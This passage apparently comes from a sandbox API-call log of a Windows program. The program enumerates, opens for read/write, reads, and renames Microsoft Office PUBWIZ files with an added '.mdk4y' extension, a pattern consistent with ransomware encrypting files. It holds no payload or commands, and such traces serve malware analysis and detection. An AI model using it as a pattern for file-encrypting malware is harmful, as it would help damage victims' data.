lpWideCharStr="DGHEADING.XML", cchWideChar=13, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGHEADING.XML.POC", lpUsedDefaultChar=0x37df4c) returned 13 [0244.698] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831992900000) returned 1 [0244.699] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1ba4, lpOverlapped=0x0) returned 1 [0244.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831999400000) returned 1 [0244.764] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831999400000) returned 1 [0244.765] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml.mdk4y")) returned 1 [0244.767] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.767] AreFileApisANSI () returned 1 [0244.767] GetACP () returned 0x4e4 [0244.767] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGLINACC.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGLINACC.DPVL", lpUsedDefaultChar=0x37df4c) returned 12 [0244.768] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.768] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1831999800000) returned 1 [0244.768] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2400, lpOverlapped=0x0) returned 1 [0244.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832003900000) returned 1 [0244.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832003900000) returned 1 [0244.809] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.dpv.mdk4y")) returned 1 [0244.812] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.812] AreFileApisANSI () returned 1 [0244.812] GetACP () returned 0x4e4 [0244.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGLINACC.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGLINACC.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0244.812] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832004400000) returned 1 [0244.814] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x21e, lpOverlapped=0x0) returned 1 [0244.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832004500000) returned 1 [0244.815] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832004500000) returned 1 [0244.815] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml.mdk4y")) returned 1 [0244.816] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.816] AreFileApisANSI () returned 1 [0244.817] GetACP () returned 0x4e4 [0244.817] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGLOGO.DPV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGLOGO.DPVML", lpUsedDefaultChar=0x37df4c) returned 10 [0244.817] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832004800000) returned 1 [0244.818] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2ebf, lpOverlapped=0x0) returned 1 [0244.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832010300000) returned 1 [0244.873] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832010300000) returned 1 [0244.874] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.dpv.mdk4y")) returned 1 [0244.875] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.875] AreFileApisANSI () returned 1 [0244.875] GetACP () returned 0x4e4 [0244.875] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGLOGO.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGLOGO.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0244.875] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.877] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832010700000) returned 1 [0244.877] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7ac, lpOverlapped=0x0) returned 1 [0244.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832010800000) returned 1 [0244.878] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832010800000) returned 1 [0244.879] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml.mdk4y")) returned 1 [0244.880] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.880] AreFileApisANSI () returned 1 [0244.880] GetACP () returned 0x4e4 [0244.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGMAIN.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGMAIN.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0244.880] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.881] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832011100000) returned 1 [0244.881] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe39, lpOverlapped=0x0) returned 1 [0244.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832018300000) returned 1 [0244.953] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832018300000) returned 1 [0244.953] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMAIN.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmain.xml.mdk4y")) returned 1 [0244.955] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.955] AreFileApisANSI () returned 1 [0244.955] GetACP () returned 0x4e4 [0244.955] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGMARQ.DPV", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGMARQ.DPV", lpUsedDefaultChar=0x37df4c) returned 10 [0244.955] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.956] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832018600000) returned 1 [0244.956] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c00, lpOverlapped=0x0) returned 1 [0244.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832020300000) returned 1 [0244.973] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832020300000) returned 1 [0244.973] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.dpv.mdk4y")) returned 1 [0244.975] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.975] AreFileApisANSI () returned 1 [0244.975] GetACP () returned 0x4e4 [0244.975] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGMARQ.XML", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGMARQ.XML", lpUsedDefaultChar=0x37df4c) returned 10 [0244.975] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.976] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832020600000) returned 1 [0244.976] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x33a, lpOverlapped=0x0) returned 1 [0244.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832021200000) returned 1 [0244.982] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832021200000) returned 1 [0244.982] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMARQ.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmarq.xml.mdk4y")) returned 1 [0244.983] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0244.983] AreFileApisANSI () returned 1 [0244.983] GetACP () returned 0x4e4 [0244.984] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGMASTHD.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGMASTHD.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0244.984] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmasthd.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0244.985] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832021500000) returned 1 [0244.985] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x50f94, lpOverlapped=0x0) returned 1 [0245.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832032100000) returned 1 [0245.091] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832032100000) returned 1 [0245.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmasthd.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGMASTHD.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgmasthd.dpv.mdk4y")) returned 1 [0245.097] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.097] AreFileApisANSI () returned 1 [0245.097] GetACP () returned 0x4e4 [0245.097] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGNAVBAR.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGNAVBAR.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0245.097] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832032700000) returned 1 [0245.097] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71a4, lpOverlapped=0x0) returned 1 [0245.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832032900000) returned 1 [0245.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832032900000) returned 1 [0245.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.dpv.mdk4y")) returned 1 [0245.100] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.100] AreFileApisANSI () returned 1 [0245.100] GetACP () returned 0x4e4 [0245.100] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGNAVBAR.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGNAVBAR.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.100] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.101] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832033100000) returned 1 [0245.101] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x11c2, lpOverlapped=0x0) returned 1 [0245.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832033300000) returned 1 [0245.103] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832033300000) returned 1 [0245.103] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGNAVBAR.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgnavbar.xml.mdk4y")) returned 1 [0245.104] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.104] AreFileApisANSI () returned 1 [0245.104] GetACP () returned 0x4e4 [0245.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGPICCAP.DPV", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGPICCAP.DPV", lpUsedDefaultChar=0x37df4c) returned 12 [0245.104] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.105] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832033500000) returned 1 [0245.105] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1eeda, lpOverlapped=0x0) returned 1 [0245.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832042000000) returned 1 [0245.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832042000000) returned 1 [0245.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.dpv.mdk4y")) returned 1 [0245.204] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.204] AreFileApisANSI () returned 1 [0245.204] GetACP () returned 0x4e4 [0245.204] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGPICCAP.XML", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGPICCAP.XML", lpUsedDefaultChar=0x37df4c) returned 12 [0245.205] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.206] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832043600000) returned 1 [0245.206] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1aca, lpOverlapped=0x0) returned 1 [0245.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832048300000) returned 1 [0245.253] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832048300000) returned 1 [0245.253] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPICCAP.XML.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpiccap.xml.mdk4y")) returned 1 [0245.255] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.255] AreFileApisANSI () returned 1 [0245.255] GetACP () returned 0x4e4 [0245.255] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGPQUOT.DPV", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGPQUOT.DPVL", lpUsedDefaultChar=0x37df4c) returned 11 [0245.255] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.dpv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0245.257] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832048700000) returned 1 [0245.257] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x938f, lpOverlapped=0x0) returned 1 [0245.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832050100000) returned 1 [0245.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1832050100000) returned 1 [0245.271] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.dpv"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.DPV.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgpquot.dpv.mdk4y")) returned 1 [0245.273] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6c2220 | out: lpFindFileData=0x6c2220) returned 1 [0245.273] AreFileApisANSI () returned 1 [0245.273] GetACP () returned 0x4e4 [0245.273] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DGPQUOT.XML", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DGPQUOT.XML", lpUsedDefaultChar=0x37df4c) returned 11 [0245.273] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGPQUOT.XML" (normalized: "c:\\program 